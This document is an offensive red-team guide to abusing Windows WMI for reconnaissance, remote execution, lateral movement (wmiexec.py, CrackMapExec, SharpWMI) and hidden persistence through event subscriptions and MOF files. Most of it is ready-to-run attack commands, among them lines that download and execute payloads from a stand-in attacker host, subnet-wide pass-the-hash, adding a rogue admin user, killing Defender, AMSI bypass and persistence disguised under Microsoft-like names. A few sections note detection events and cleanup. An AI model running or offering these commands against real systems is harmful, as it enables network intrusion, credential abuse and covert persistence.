Legend:
[EXEC]= Remote/Local Execution |[PERSIST]= Persistence mechanism |[CRED]= Credential Access |[RECON]= Enumeration & Discovery |[EVADE]= Defense Evasion |[IMPACT]= Impact technique |[DETECT]= Detection vector |[OPSEC]= Operational Security |[TOOL]= Tool reference
1. What is WMI & Why Attackers Love It
What it means: Windows Management Instrumentation (WMI) is a built-in Windows framework for system management, monitoring, and automation. It has been part of Windows since Windows 98 and exists in virtually every Windows version, making it universally available on target machines.
WMI is legitimately used by administrators for remote management — querying system info, running scripts, managing processes. Attackers abuse this exact same functionality because it blends perfectly with normal administrative traffic.
Why WMI is the attacker's best friend:
| Attribute | Explanation |
|---|---|
| Pre-installed | Available on all Windows machines (no upload needed) |
| Trusted by security tools | Looks like legitimate admin activity |
| Fileless capability | Code can execute entirely in-memory |
| Remote execution | Runs commands on other machines over DCOM/RPC |
| Persistence | Stores payloads in WMI repository (binary DB, not files) |
| Credential support | Accepts plaintext or NTLM hash (Pass-the-Hash) |
| Anti-forensics | No obvious artifacts on disk |
| MITRE T1047 | 9th most used technique in the Red Report 2024 |
The MITRE ATT&CK angle:
T1047 → WMI (Execution)
T1546.003 → Event Triggered Execution: WMI Event Subscription (Persistence)
T1490 → Inhibit System Recovery (Shadow copy deletion via WMI)
T1003.003 → NTDS (Credential Access via WMI + Shadow Copy)
What malicious WMI activity looks like in processes:
Legitimate:
svchost.exe → WmiPrvSE.exe (idle, no suspicious children)
Malicious:
wmiprvse.exe → cmd.exe → whoami.exe ← Remote execution
wmiprvse.exe → powershell.exe → beacon.exe ← Payload delivery
wmic.exe /node:10.0.0.5 process call create "..." ← Lateral movement
Real-world threat actors using WMI:
- Fog Ransomware (2024) — living-off-the-land, heavy WMI + PowerShell usage
- INC Ransom — deployed ransomware via WMIC
- Meteor / Olympic Destroyer — used
wmic shadowcopy deletefor anti-recovery - LockBit 3.0 — automated shadow copy deletion via WMI as standard procedure
- Lazarus Group — layers WMI persistence among 3–5 independent mechanisms
2. WMI Architecture & Key Components
What it means: Understanding WMI internals is critical before weaponizing it. WMI has three main layers: the infrastructure, providers, and namespaces. Knowing which namespace holds what data tells you what you can query and abuse.
2.1 WMI Architecture Diagram
┌──────────────────────────────────────────────────────────────┐
│ WMI Consumer │
│ (wmic.exe, PowerShell, Python, C# — YOUR attack scripts) │
└─────────────────────────┬────────────────────────────────────┘
│ Query / Method Call
▼
┌──────────────────────────────────────────────────────────────┐
│ WMI Infrastructure │
│ ┌────────────────────────────────────────────────────┐ │
│ │ CIMOM (CIM Object Manager) — winmgmt.exe │ │
│ │ Manages all WMI queries, subscriptions, security │ │
│ └──────────────────────┬─────────────────────────────┘ │
│ │ │
│ ┌───────────────────────▼───────────────────────────┐ │
│ │ WMI Repository (C:\Windows\System32\wbem\repo\) │ │
│ │ - OBJECTS.DATA ← Persistent WMI event subs live │ │
│ │ - MAPPING.VER ← Class definitions │ │
│ └───────────────────────────────────────────────────┘ │
└─────────────────────────┬────────────────────────────────────┘
│ Provider calls
▼
┌──────────────────────────────────────────────────────────────┐
│ WMI Providers (DLLs) │
│ Win32_Process → cimwin32.dll │
│ Win32_ShadowCopy → vss.dll │
│ __EventFilter → wmi events │
└──────────────────────────────────────────────────────────────┘
2.2 Key WMI Namespaces for Attackers
| Namespace | What's There | Attack Use |
|---|---|---|
root\cimv2 |
Processes, services, users, OS, hardware | Enumeration, execution |
root\subscription |
Event filters, consumers, bindings | Persistence |
root\default |
Default namespace | General queries |
root\SecurityCenter2 |
AV products | Recon (which AV is installed?) |
root\MicrosoftDNS |
DNS records (on DNS servers) | Active Directory recon |
root\MSCluster |
Cluster info (on cluster nodes) | Target discovery |
2.3 Critical WMI Classes for Red Teamers
| Class | Namespace | Purpose |
|---|---|---|
Win32_Process |
root\cimv2 | Create / list / kill processes |
Win32_Service |
root\cimv2 | Manage services |
Win32_UserAccount |
root\cimv2 | List users |
Win32_NetworkAdapterConfiguration |
root\cimv2 | Network info |
Win32_ShadowCopy |
root\cimv2 | Create / delete volume shadow copies |
Win32_OperatingSystem |
root\cimv2 | OS version, uptime |
Win32_ComputerSystem |
root\cimv2 | Hostname, domain, hardware |
__EventFilter |
root\subscription | Trigger condition (persistence) |
CommandLineEventConsumer |
root\subscription | Execute command on trigger |
ActiveScriptEventConsumer |
root\subscription | Execute VBScript/JScript on trigger |
__FilterToConsumerBinding |
root\subscription | Links filter → consumer |
2.4 WMI Query Language (WQL) Basics
-- WQL is SQL-like; used in EventFilters and Get-WmiObject queries
-- Intrinsic events (WMI generates these internally)
SELECT * FROM __InstanceCreationEvent WITHIN 5 -- New instance created
SELECT * FROM __InstanceModificationEvent WITHIN 60 -- Instance modified
SELECT * FROM __InstanceDeletionEvent WITHIN 5 -- Instance deleted
-- Extrinsic events (providers generate these)
SELECT * FROM Win32_ProcessStartTrace -- Process start
SELECT * FROM Win32_LogonSessionEvent -- Logon event
-- Common red team queries
SELECT * FROM Win32_Process WHERE Name='explorer.exe'
SELECT * FROM Win32_UserAccount WHERE LocalAccount=True
SELECT * FROM Win32_Service WHERE State='Running'
SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=True
3. WMI Enumeration & Reconnaissance
What it means: Before executing payloads, attackers use WMI to quietly fingerprint a target: OS version, installed AV, running processes, logged-on users, domain membership, network config. This is pure LOTL (Living off the Land) — no tools dropped, just built-in wmic.exe or PowerShell.
3.1 Local Enumeration with wmic.exe [RECON]
:: System information
wmic computersystem get Name, Domain, UserName, TotalPhysicalMemory
wmic os get Caption, Version, BuildNumber, SystemDirectory, InstallDate
:: Running processes
wmic process get Name, ProcessId, ParentProcessId, ExecutablePath
:: Services
wmic service get Name, State, StartMode, PathName
:: Local users
wmic useraccount get Name, SID, Disabled, LocalAccount
:: Installed software
wmic product get Name, Version, Vendor
:: Network adapters
wmic nicconfig get Description, IPAddress, MACAddress
:: Startup items
wmic startup get Caption, Command, User
:: Scheduled tasks
wmic /namespace:\\root\cimv2 path Win32_ScheduledJob get *
:: Check for AV (SecurityCenter2)
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName, productState
3.2 Remote Enumeration with wmic.exe [RECON]
:: Remote system info (requires admin creds)
wmic /node:192.168.1.10 /user:DOMAIN\Admin computersystem get Name, Domain
:: Remote process list
wmic /node:192.168.1.10 /user:DOMAIN\Admin /password:P@ssw0rd process get Name, ProcessId
:: Remote service state
wmic /node:192.168.1.10 /user:DOMAIN\Admin service where "State='Running'" get Name, PathName
:: Remote user accounts
wmic /node:192.168.1.10 /user:DOMAIN\Admin useraccount get Name, SID
:: Remote OS version
wmic /node:192.168.1.10 /user:DOMAIN\Admin os get Caption, BuildNumber
:: Multiple nodes at once
wmic /node:@C:\targets.txt computersystem get Name, Domain
3.3 PowerShell CIM/WMI Enumeration [RECON]
# Local enumeration (modern CIM approach - preferred over Get-WmiObject)
Get-CimInstance -ClassName Win32_ComputerSystem
Get-CimInstance -ClassName Win32_Process | Select Name, ProcessId, ParentProcessId
Get-CimInstance -ClassName Win32_UserAccount | Where {$_.LocalAccount -eq $true}
Get-CimInstance -ClassName Win32_Service | Where {$_.State -eq 'Running'}
Get-CimInstance -ClassName Win32_NetworkAdapterConfiguration | Where {$_.IPEnabled}
# Remote enumeration via CIM session
$opt = New-CimSessionOption -Protocol DCOM
$session = New-CimSession -ComputerName 192.168.1.10 -Credential (Get-Credential) -SessionOption $opt
Get-CimInstance -ClassName Win32_Process -CimSession $session
Get-CimInstance -ClassName Win32_UserAccount -CimSession $session
Get-CimInstance -ClassName Win32_ComputerSystem -CimSession $session
# Check installed AV (recon before shellcode drop)
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct |
Select displayName, productState
# Enumerate domain controllers
Get-WmiObject -Class Win32_ComputerSystem | Where {$_.DomainRole -ge 4}
# DomainRole: 0=Standalone, 1=Member, 4=BackupDC, 5=PrimaryDC
3.4 CrackMapExec WMI Enumeration [RECON][TOOL]
# Enumerate full subnet with WMI queries
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd --wmi "SELECT * FROM Win32_ComputerSystem"
# Enumerate OS versions across subnet
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd --wmi "SELECT Caption, BuildNumber FROM Win32_OperatingSystem"
# Find domain controllers
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd --wmi "SELECT * FROM Win32_ComputerSystem WHERE DomainRole >= 4"
# List running services
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd --wmi "SELECT Name, State FROM Win32_Service WHERE State='Running'"
# Check AV across network
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd --wmi "SELECT displayName FROM AntiVirusProduct" --wmi-namespace "root\\SecurityCenter2"
4. Remote Command Execution via WMI
What it means: The core of WMI lateral movement. The Win32_Process.Create() method spawns a process on local or remote machines. Because the process spawns from wmiprvse.exe (a legitimate Windows process), it can appear less suspicious than commands executed via PsExec (which spawns from services.exe and drops a binary).
4.1 Remote Execution with wmic.exe (Classic) [EXEC]
:: Basic command execution on remote host
wmic /node:192.168.1.10 /user:DOMAIN\Admin /password:P@ssw0rd process call create "cmd /c whoami"
:: Write output to file (useful since wmic.exe doesn't return command output)
wmic /node:192.168.1.10 /user:DOMAIN\Admin /password:P@ssw0rd process call create ^
"cmd /c whoami > \\192.168.1.10\C$\users\public\out.txt"
:: Download and execute payload
wmic /node:192.168.1.10 /user:DOMAIN\Admin /password:P@ssw0rd process call create ^
"cmd /c certutil -urlcache -split -f http://attacker.net/beacon.exe C:\Windows\Temp\svchost.exe && C:\Windows\Temp\svchost.exe"
:: PowerShell encoded payload (avoids quoting issues)
wmic /node:192.168.1.10 /user:DOMAIN\Admin /password:P@ssw0rd process call create ^
"powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQ..."
:: Kill AV/EDR process (if you have admin)
wmic /node:192.168.1.10 /user:DOMAIN\Admin /password:P@ssw0rd process where "Name='MsMpEng.exe'" call terminate
What happens on the target:
Source (192.168.1.5):
└── wmic.exe sends WMI call over DCOM (port 135 → dynamic RPC port)
Target (192.168.1.10):
├── winmgmt.exe receives the Win32_Process.Create request
├── Spawns: wmiprvse.exe (WMI Provider Host)
│ └── wmiprvse.exe spawns: cmd.exe ← YOUR COMMAND
│ └── cmd.exe spawns: whoami.exe
└── Returns process PID to caller (not command output!)
[OPSEC]Important: wmic.exe does NOT return command output. You must redirect to a file and retrieve it separately. This is a dead giveaway for blue teamers if you're writing to obvious locations.
4.2 PowerShell Invoke-WmiMethod (Local & Remote) [EXEC]
# ── LOCAL EXECUTION ──────────────────────────────────────────────────────────
# Basic local process creation
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe"
# Encoded PowerShell local execution
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://attacker.net/shell.ps1")'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -nop -w hidden -enc $enc"
# ── REMOTE EXECUTION ─────────────────────────────────────────────────────────
# Build credential object
$secPass = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
$cred = New-PSCredential "DOMAIN\Admin" $secPass
# Execute command on remote host
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ComputerName 192.168.1.10 `
-Credential $cred `
-ArgumentList "cmd.exe /c ipconfig > C:\Windows\Temp\out.txt"
# Retrieve output via UNC path
Get-Content \\192.168.1.10\C$\Windows\Temp\out.txt
# Fileless in-memory execution via remote WMI
$cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt'))
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ComputerName 192.168.1.10 `
-Credential $cred `
-ArgumentList "powershell.exe -enc $cmd"
4.3 PowerShell Invoke-CimMethod (Modern Approach) [EXEC]
# CIM is the modern WMI — uses WS-Management (WSMAN/WinRM) by default
# For DCOM (classic WMI port 135), specify the session option
# Create a DCOM-based CIM session (uses port 135 like classic WMI)
$opt = New-CimSessionOption -Protocol DCOM
$session = New-CimSession -ComputerName 192.168.1.10 -Credential $cred -SessionOption $opt
# Execute command via CIM (modern syntax)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
-CimSession $session `
-Arguments @{CommandLine = "cmd.exe /c whoami > C:\Windows\Temp\out.txt"}
# Retrieve result
$result = Get-Content \\192.168.1.10\C$\Windows\Temp\out.txt
Write-Host $result
# Cleanup
Remove-CimSession $session
# ── CLASSIC ENCODED PAYLOAD (matches common attack patterns) ──────────────────
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
-Arguments @{
CommandLine = "powershell -WindowStyle Hidden -ep bypass -enc SQBFAFg..."
} `
-CimSession $session
4.4 Execution Flow & Detection Artifacts
What the blue team sees (EventIDs):
On SOURCE machine:
├── Event 4648 — Explicit credentials used (wmic with /user /password)
├── Sysmon 1 — Process creation: wmic.exe with /node and "process call create"
└── Sysmon 3 — Network connection from wmic.exe to target port 135
On TARGET machine:
├── Event 4624 (Logon Type 3) — Network logon from source IP
├── Event 4688 / Sysmon 1 — Process creation: wmiprvse.exe
├── Event 4688 / Sysmon 1 — Process creation: cmd.exe (child of wmiprvse.exe)
└── Event 4688 / Sysmon 1 — Process creation: whoami.exe (child of cmd.exe)
Key indicator: wmiprvse.exe → cmd.exe is VERY suspicious
Legitimate admin WMI rarely spawns interactive shells from wmiprvse.exe
5. WMI Lateral Movement with Impacket (wmiexec.py)
What it means: Impacket's wmiexec.py is a Python-based tool that creates a semi-interactive shell over WMI. Unlike wmic.exe which requires separate output retrieval, wmiexec.py automatically reads command output by writing to a temp file on the ADMIN$ share and reading it back. This gives you an interactive shell experience.
5.1 How wmiexec.py Works Internally [EXEC][TOOL]
Attack machine (Linux):
wmiexec.py → WMI call: Win32_Process.Create("cmd /c <command> > \\127.0.0.1\ADMIN$\__<random>.tmp")
↓
Target machine (Windows):
wmiprvse.exe → cmd.exe /c <command> 2>&1 1> \\127.0.0.1\ADMIN$\__<random>.tmp
wmiexec.py reads output via ADMIN$ share (SMB)
wmiexec.py deletes the temp file
wmiexec.py prints output to your terminal
5.2 wmiexec.py Usage Examples [EXEC][TOOL]
# ── INSTALLATION ─────────────────────────────────────────────────────────────
pip3 install impacket
# or
git clone https://github.com/SecureAuthCorp/impacket && cd impacket && pip3 install .
# ── BASIC USAGE ──────────────────────────────────────────────────────────────
# Interactive shell with password
python3 wmiexec.py DOMAIN/admin:'Password123'@10.10.10.50
# Single command execution (non-interactive)
python3 wmiexec.py DOMAIN/admin:'Password123'@10.10.10.50 "whoami /all"
python3 wmiexec.py DOMAIN/admin:'Password123'@10.10.10.50 "ipconfig /all"
python3 wmiexec.py DOMAIN/admin:'Password123'@10.10.10.50 "net user /domain"
# ── PASS-THE-HASH (PTH) ──────────────────────────────────────────────────────
# Format: -hashes LM:NT (use aad3b435... for empty LM)
python3 wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 DOMAIN/admin@10.10.10.50
# PTH with NT hash only (LM empty)
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 DOMAIN/admin@10.10.10.50
# ── PASS-THE-TICKET (Kerberos) ────────────────────────────────────────────────
# Set up Kerberos ticket first (kinit or pass .ccache)
export KRB5CCNAME=/tmp/admin.ccache
python3 wmiexec.py -k -no-pass DOMAIN/admin@TARGET01.domain.local
# ── NO OUTPUT (stealth / faster) ─────────────────────────────────────────────
# -nooutput: don't capture command output (no ADMIN$ write)
# -silentcommand: use a different, less-monitored WMI path
python3 wmiexec.py DOMAIN/admin:'Password123'@10.10.10.50 -nooutput -silentcommand \
"powershell -enc <base64payload>"
# ── SHELL CODEC ──────────────────────────────────────────────────────────────
# Change codec for non-ASCII output (useful for non-English targets)
python3 wmiexec.py -codec cp850 DOMAIN/admin:'Password123'@10.10.10.50
# ── SPECIFY ALTERNATE PORT / NAMESPACE ────────────────────────────────────────
python3 wmiexec.py DOMAIN/admin:'Password123'@10.10.10.50 -rpc-auth-level privacy
5.3 wmiexec.py Interactive Shell Session [EXEC]
$ python3 wmiexec.py DOMAIN/Admin:'P@ssw0rd'@10.10.10.50
Impacket v0.12.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
domain\admin
C:\>hostname
DC01
C:\>net user /domain
The request will be processed at a domain controller for domain domain.local.
User accounts for \\DC01
---------------------------------------------------------------------------
Administrator krbtgt Admin backup_svc
The command completed successfully.
C:\>cd C:\Windows\NTDS
C:\Windows\NTDS>dir
Volume in drive C is OS
Directory of C:\Windows\NTDS
07/10/2024 11:22 AM <DIR> .
07/10/2024 11:22 AM <DIR> ..
07/10/2024 11:22 AM 18,874,368 ntds.dit
07/10/2024 11:22 AM 16 ntds.jfm
2 File(s) 18,875,392 bytes
# Upload a file via the shell
C:\>put /home/attacker/beacon.exe C:\Windows\Temp\svchost.exe
[*] Uploading /home/attacker/beacon.exe to C:\Windows\Temp\svchost.exe
C:\>exit
6. WMI Lateral Movement with CrackMapExec
What it means: CrackMapExec (CME / netexec) is a swiss-army knife for network attacks. Its WMI module lets you execute commands across entire subnets simultaneously, making it ideal for large-scale lateral movement during a red team engagement.
6.1 CrackMapExec WMI Execution [EXEC][TOOL]
# ── INSTALLATION ─────────────────────────────────────────────────────────────
pip3 install crackmapexec
# or use netexec (successor)
pip3 install netexec
# ── SINGLE TARGET EXECUTION ──────────────────────────────────────────────────
# Basic command execution
crackmapexec wmi 10.10.10.50 -u admin -p 'Password123' -x "whoami"
crackmapexec wmi 10.10.10.50 -u admin -p 'Password123' -x "ipconfig /all"
# PowerShell execution (-X flag)
crackmapexec wmi 10.10.10.50 -u admin -p 'Password123' -X "Get-Process"
crackmapexec wmi 10.10.10.50 -u admin -p 'Password123' -X "Get-LocalUser"
# Pass-the-Hash execution
crackmapexec wmi 10.10.10.50 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "whoami"
# ── MULTI-TARGET / SUBNET SWEEP ──────────────────────────────────────────────
# Execute on entire subnet
crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami"
# Get hostname + OS from all hosts (reconnaissance)
crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
# Pass-the-Hash across subnet
crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "net user hacker P@ssw0rd /add"
# PowerShell payload delivery across subnet
crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' \
-X "IEX (New-Object Net.WebClient).DownloadString('http://attacker.net/shell.ps1')"
# ── WMI QUERY EXECUTION ──────────────────────────────────────────────────────
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd \
--wmi "SELECT * FROM Win32_ComputerSystem"
# Custom namespace query
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd \
--wmi "SELECT displayName FROM AntiVirusProduct" \
--wmi-namespace "root\\SecurityCenter2"
6.2 Example Output [EXEC]
CME 10.10.10.50 445 DC01 [*] Windows Server 2022 Build 20348 x64
CME 10.10.10.50 445 DC01 [+] DOMAIN\admin:Password123 (Pwn3d!)
CME 10.10.10.50 445 DC01 [+] Executed command via wmiexec
CME 10.10.10.50 445 DC01 domain\admin
CME 10.10.10.51 445 WS01 [*] Windows 11 Build 22621 x64
CME 10.10.10.51 445 WS01 [+] DOMAIN\admin:Password123 (Pwn3d!)
CME 10.10.10.51 445 WS01 [+] Executed command via wmiexec
CME 10.10.10.51 445 WS01 domain\admin
CME 10.10.10.52 445 WS02 [*] Windows 10 Build 19045 x64
CME 10.10.10.52 445 WS02 [-] DOMAIN\admin:Password123 STATUS_LOGON_FAILURE
7. WMI Lateral Movement with SharpWMI (.NET)
What it means: SharpWMI is a GhostPack (.NET) tool that executes WMI operations from a fully managed .NET assembly — perfect for in-memory execution via execute-assembly in Cobalt Strike, Havoc, Sliver, or any C2 that supports .NET reflective loading. It supports remote execution, AMSI evasion, WMI queries, and event subscriptions.
7.1 SharpWMI Usage [EXEC][TOOL]
# ── REMOTE EXECUTION ─────────────────────────────────────────────────────────
# Basic remote command
SharpWMI.exe action=exec computername=target.domain.com command="cmd.exe /c whoami"
# Remote execution with output capture (uses temp file + ADMIN$ retrieval)
SharpWMI.exe action=exec computername=target.domain.com command="whoami" result=true
# Execute binary
SharpWMI.exe action=exec computername=target.domain.com command="C:\Windows\Temp\svchost.exe"
# Multiple targets
SharpWMI.exe action=exec computername=server1,server2,server3 command="net user hacker P@ss /add"
# ── AMSI EVASION + EXECUTION ─────────────────────────────────────────────────
# amsi=disable patches AMSI before executing PowerShell
SharpWMI.exe action=exec computername=target.domain.com \
command="powershell.exe -c Get-Process" \
amsi=disable result=true
# ── LOCAL EXECUTION ──────────────────────────────────────────────────────────
# Test payloads locally before going remote
SharpWMI.exe action=exec command="cmd.exe /c whoami"
SharpWMI.exe action=exec command="powershell -enc $encoded"
# ── WMI QUERIES ──────────────────────────────────────────────────────────────
# Query processes on remote host
SharpWMI.exe action=query query="select * from win32_process"
SharpWMI.exe action=query computername=server1,server2,server3 query="select * from win32_process"
# ── WMI EVENT SUBSCRIPTIONS (persistence) ────────────────────────────────────
SharpWMI.exe action=subscribe computername=target.domain.com \
eventname="WindowsUpdate" \
query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" \
command="C:\Windows\Temp\beacon.exe"
7.2 In-Memory via C2 execute-assembly [EXEC][TOOL]
# Cobalt Strike / Havoc / Sliver — no binary drops
beacon> execute-assembly /opt/SharpWMI.exe action=exec computername=DC01 command="whoami" result=true
beacon> execute-assembly /opt/SharpWMI.exe action=exec computername=DC01 command="net user /domain" result=true
# Why this matters:
# SharpWMI runs entirely in memory
# No binary written to target disk (fileless)
# AMSI evasion built-in for PowerShell execution
# Detection is harder because there's no dropped binary artifact
[DETECT]Detection: Event ID 4688 will still showwmiprvse.exe → cmd.exeon the target. SharpWMI with AMSI evasion modifiesHKCU\Software\Microsoft\Windows Script\Settings, which Sysmon captures as a registry set event.
8. WMI Persistence — Event Subscriptions
What it means: WMI's most powerful persistence mechanism. A permanent event subscription consists of three objects stored in the WMI repository (OBJECTS.DATA binary database — not on the filesystem as files). They fire automatically whenever a trigger condition is met — like system uptime reaching a threshold, a process starting, or a logon event. This survives reboots and is invisible to directory listings because it lives in a binary database.
The trilogy of WMI persistence:
__EventFilter ← TRIGGER: "What condition fires this?"
↓ bound to
CommandLineEventConsumer ← ACTION: "What command runs when triggered?"
(or ActiveScriptEventConsumer)
↑ linked by
__FilterToConsumerBinding ← GLUE: Links filter to consumer
8.1 WMI Persistence via PowerShell (New-CimInstance) [PERSIST]
# ── STEP 1: Create Event Filter (the trigger) ─────────────────────────────────
# This query fires when system uptime is between 240-325 seconds (4-5 min after boot)
# Why? Avoids triggering during initial boot before legitimate processes are running
$FilterArgs = @{
Name = 'MicrosoftUpdateFilter' # Legit-looking name
EventNameSpace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = @"
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 240
AND TargetInstance.SystemUpTime < 325
"@
}
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
# ── STEP 2: Create Event Consumer (the action) ────────────────────────────────
$ConsumerArgs = @{
Name = 'MicrosoftUpdateConsumer' # Legit-looking name
CommandLineTemplate = "powershell -nop -w hidden -enc SQBFAFgA..." # Your payload
}
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
# ── STEP 3: Bind Filter to Consumer ──────────────────────────────────────────
$BindingArgs = @{
Filter = [Ref] $Filter
Consumer = [Ref] $Consumer
}
New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $BindingArgs
Write-Host "[+] WMI persistence installed. Will execute ~4min after each reboot."
8.2 WMI Persistence via wmic.exe (CMD-Based) [PERSIST]
:: Step 1: Create the Event Filter (trigger on system uptime)
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE ^
Name="MicrosoftUpdateFilter", ^
EventNameSpace="root\cimv2", ^
QueryLanguage="WQL", ^
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
:: Step 2: Create the Event Consumer (what to execute)
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE ^
Name="MicrosoftUpdateConsumer", ^
CommandLineTemplate="C:\Windows\SysWOW64\WinTelemetryHost.exe"
:: Step 3: Bind Filter to Consumer
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE ^
Filter="__EventFilter.Name=""MicrosoftUpdateFilter""", ^
Consumer="CommandLineEventConsumer.Name=""MicrosoftUpdateConsumer"""
8.3 WMI Persistence via MOF Files + mofcomp.exe [PERSIST]
MOF (Managed Object Format) files describe WMI classes in text and get compiled directly into the WMI repository. Once compiled, the MOF file is no longer needed — the persistence exists only in the binary database.
// persistence.mof — compile with: mofcomp.exe C:\Temp\persistence.mof
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
Name = "WindowsUpdateEventFilter";
EventNamespace = "root\\cimv2";
QueryLanguage = "WQL";
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 "
"WHERE TargetInstance ISA \"Win32_NTLogEvent\" "
"AND TargetInstance.EventCode = \"4624\""; // Fires on every logon!
};
instance of CommandLineEventConsumer as $Consumer
{
Name = "WindowsUpdateConsumer";
RunInteractively = false;
CommandLineTemplate = "powershell -nop -w hidden -enc SQBFAFgA...";
};
instance of __FilterToConsumerBinding
{
Filter = $EventFilter;
Consumer = $Consumer;
};
:: Compile the MOF (persistence is now in WMI repository, MOF file can be deleted)
mofcomp.exe C:\Temp\persistence.mof
:: Delete the MOF file (persistence remains in binary OBJECTS.DATA)
del C:\Temp\persistence.mof
[OPSEC]Aftermofcomp.exe, the persistence lives only inC:\Windows\System32\wbem\repository\OBJECTS.DATA. No file on disk. This is why it's rated "Very High" stealth — most defenders never inspect the WMI repository.
8.4 WMI ActiveScript Consumer (VBScript) [PERSIST]
ActiveScriptEventConsumer runs arbitrary VBScript or JScript instead of a command line — allows more complex logic in the payload.
# Create VBScript-based consumer
$FilterArgs = @{
Name = 'AtomicWMIPersistFilter'
EventNameSpace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs
$ConsumerArgs = @{
Name = 'AtomicWMIPersistConsumer'
ScriptingEngine = 'VBScript'
ScriptText = @'
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -nop -w hidden -enc SQBFAFgA...", 0, True
Set shell = Nothing
'@
}
$Consumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments $ConsumerArgs
# Bind
$BindArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments $BindArgs
8.5 WMI Persistence Trigger Types [PERSIST]
| Trigger | WQL Query | When It Fires |
|---|---|---|
| System uptime (boot) | WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 |
~4 min after boot |
| User logon | WHERE TargetInstance ISA 'Win32_LoggedOnUser' |
Any user logon |
| Process creation | WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe' |
When explorer.exe starts |
| File creation | WHERE TargetInstance ISA 'CIM_DirectoryContainsFile' AND TargetInstance.GroupComponent = 'C:\\temp' |
New file in C:\temp |
| Event log | WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode = '4624' |
On every logon (Event 4624) |
| Scheduled (heartbeat) | SELECT * FROM __TimerEvent WHERE TimerID = 'heartbeat' |
Requires __IntervalTimerInstruction |
8.6 Verify and Clean WMI Persistence [PERSIST]
# ── VERIFY (confirm persistence is installed) ─────────────────────────────────
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Or with CIM (modern):
Get-CimInstance -Namespace root/subscription -ClassName __EventFilter
Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer
Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding
# ── CLEANUP (remove persistence) ─────────────────────────────────────────────
$filter = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name='MicrosoftUpdateFilter'"
$consumer = Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer -Filter "Name='MicrosoftUpdateConsumer'"
$binding = Get-WmiObject -Namespace root\subscription -Query "REFERENCES OF {$($consumer.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$binding.Delete()
$consumer.Delete()
$filter.Delete()
Write-Host "[+] WMI persistence removed."
# Check the WMI repository file (blue team / forensics view)
# The binary: C:\Windows\System32\wbem\repository\OBJECTS.DATA
# Tool to inspect: PyWMIPersistenceFinder.py (run on a copy of OBJECTS.DATA)
